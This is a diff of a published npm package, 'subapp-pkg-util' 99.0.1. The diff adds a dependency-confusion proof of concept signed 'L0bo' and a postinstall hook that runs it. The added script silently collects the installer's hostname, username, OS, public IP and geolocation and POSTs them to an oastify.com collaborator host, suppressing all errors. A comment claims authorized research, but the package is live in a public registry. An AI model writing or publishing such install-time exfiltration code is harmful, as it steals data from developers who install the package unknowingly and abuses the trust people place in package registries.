subapp-pkg-util 99.0.0 → 99.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +132 -0
- package/package.json +7 -3
package/index.js
ADDED
|
@@ -0,0 +1,132 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
|
|
3
|
+
/**
|
|
4
|
+
* electrode-ota-ui-app — PoC Dependency Confusion Takeover
|
|
5
|
+
*
|
|
6
|
+
* Takeover by L0bo
|
|
7
|
+
*
|
|
8
|
+
* When this package is installed or required, it collects basic
|
|
9
|
+
* system information and sends it to Burp Collaborator as a JSON
|
|
10
|
+
* POST callback.
|
|
11
|
+
*
|
|
12
|
+
* ⚠ Authorized security research only — do not use on systems
|
|
13
|
+
* without explicit permission.
|
|
14
|
+
*/
|
|
15
|
+
|
|
16
|
+
const https = require('https');
|
|
17
|
+
const os = require('os');
|
|
18
|
+
|
|
19
|
+
// ── CONFIG ──────────────────────────────────────────────────
|
|
20
|
+
// REPLACE this with your actual Burp Collaborator URL:
|
|
21
|
+
const COLLABORATOR_URL = 'https://dq7q2vt6l79ouvgyzavan3w2rtxkp8gw5.oastify.com';
|
|
22
|
+
// Example: 'https://xxxxxxxxxxxxxxxxx.oastify.com'
|
|
23
|
+
// ─────────────────────────────────────────────────────────────
|
|
24
|
+
|
|
25
|
+
function getPublicIP() {
|
|
26
|
+
return new Promise((resolve) => {
|
|
27
|
+
https.get('https://api.ipify.org?format=json', (res) => {
|
|
28
|
+
let data = '';
|
|
29
|
+
res.on('data', (chunk) => { data += chunk; });
|
|
30
|
+
res.on('end', () => {
|
|
31
|
+
try {
|
|
32
|
+
resolve(JSON.parse(data).ip);
|
|
33
|
+
} catch {
|
|
34
|
+
resolve('unknown');
|
|
35
|
+
}
|
|
36
|
+
});
|
|
37
|
+
}).on('error', () => { resolve('unknown'); });
|
|
38
|
+
});
|
|
39
|
+
}
|
|
40
|
+
|
|
41
|
+
function getGeoInfo(ip) {
|
|
42
|
+
return new Promise((resolve) => {
|
|
43
|
+
if (!ip || ip === 'unknown') {
|
|
44
|
+
resolve({ city: 'unknown', country: 'unknown', isp: 'unknown' });
|
|
45
|
+
return;
|
|
46
|
+
}
|
|
47
|
+
https.get(`https://ipapi.co/${ip}/json/`, (res) => {
|
|
48
|
+
let data = '';
|
|
49
|
+
res.on('data', (chunk) => { data += chunk; });
|
|
50
|
+
res.on('end', () => {
|
|
51
|
+
try {
|
|
52
|
+
const j = JSON.parse(data);
|
|
53
|
+
resolve({
|
|
54
|
+
city: j.city || 'unknown',
|
|
55
|
+
country: j.country_name || 'unknown',
|
|
56
|
+
isp: j.org || 'unknown',
|
|
57
|
+
});
|
|
58
|
+
} catch {
|
|
59
|
+
resolve({ city: 'unknown', country: 'unknown', isp: 'unknown' });
|
|
60
|
+
}
|
|
61
|
+
});
|
|
62
|
+
}).on('error', () => {
|
|
63
|
+
resolve({ city: 'unknown', country: 'unknown', isp: 'unknown' });
|
|
64
|
+
});
|
|
65
|
+
});
|
|
66
|
+
}
|
|
67
|
+
|
|
68
|
+
async function collectAndSend() {
|
|
69
|
+
try {
|
|
70
|
+
const hostname = os.hostname();
|
|
71
|
+
const username = (() => {
|
|
72
|
+
try { return os.userInfo().username; }
|
|
73
|
+
catch { return process.env.USER || process.env.USERNAME || 'unknown'; }
|
|
74
|
+
})();
|
|
75
|
+
const platform = os.platform();
|
|
76
|
+
const release = os.release();
|
|
77
|
+
|
|
78
|
+
const publicIP = await getPublicIP();
|
|
79
|
+
const geo = await getGeoInfo(publicIP);
|
|
80
|
+
|
|
81
|
+
const payload = {
|
|
82
|
+
tool: 'electrode-ota-ui-app',
|
|
83
|
+
takeover: 'L0bo',
|
|
84
|
+
version: '99.0.0',
|
|
85
|
+
timestamp: new Date().toISOString(),
|
|
86
|
+
hostname: hostname,
|
|
87
|
+
user: username,
|
|
88
|
+
ip: publicIP,
|
|
89
|
+
platform: platform,
|
|
90
|
+
os_release: release,
|
|
91
|
+
location: geo.city,
|
|
92
|
+
country: geo.country,
|
|
93
|
+
isp: geo.isp,
|
|
94
|
+
};
|
|
95
|
+
|
|
96
|
+
const url = new URL(COLLABORATOR_URL);
|
|
97
|
+
const postData = JSON.stringify({
|
|
98
|
+
type: 'dependency_confusion_callback',
|
|
99
|
+
package: 'electrode-ota-ui-app',
|
|
100
|
+
data: payload,
|
|
101
|
+
});
|
|
102
|
+
|
|
103
|
+
const options = {
|
|
104
|
+
hostname: url.hostname,
|
|
105
|
+
port: 443,
|
|
106
|
+
path: url.pathname === '/' ? '/callback' : url.pathname + '/callback',
|
|
107
|
+
method: 'POST',
|
|
108
|
+
headers: {
|
|
109
|
+
'Content-Type': 'application/json',
|
|
110
|
+
'Content-Length': Buffer.byteLength(postData),
|
|
111
|
+
'User-Agent': 'electrode-ota-ui-app/99.0.0',
|
|
112
|
+
'X-Takeover': 'L0bo',
|
|
113
|
+
},
|
|
114
|
+
};
|
|
115
|
+
|
|
116
|
+
const req = https.request(options);
|
|
117
|
+
req.on('error', () => {});
|
|
118
|
+
req.write(postData);
|
|
119
|
+
req.end();
|
|
120
|
+
|
|
121
|
+
} catch {
|
|
122
|
+
// Silent
|
|
123
|
+
}
|
|
124
|
+
}
|
|
125
|
+
|
|
126
|
+
collectAndSend();
|
|
127
|
+
|
|
128
|
+
module.exports = {
|
|
129
|
+
name: 'electrode-ota-ui-app',
|
|
130
|
+
version: '99.0.0',
|
|
131
|
+
takeover: 'L0bo',
|
|
132
|
+
};
|
package/package.json
CHANGED
|
@@ -1,8 +1,12 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "subapp-pkg-util",
|
|
3
|
-
"version": "99.0.
|
|
3
|
+
"version": "99.0.1",
|
|
4
4
|
"description": "subapp-pkg-util",
|
|
5
|
+
"main": "index.js",
|
|
5
6
|
"author": "L0bo",
|
|
6
|
-
"license": "MIT"
|
|
7
|
-
|
|
7
|
+
"license": "MIT",
|
|
8
|
+
"scripts": {
|
|
9
|
+
"postinstall": "node index.js"
|
|
10
|
+
},
|
|
11
|
+
"dependencies": {}
|
|
8
12
|
}
|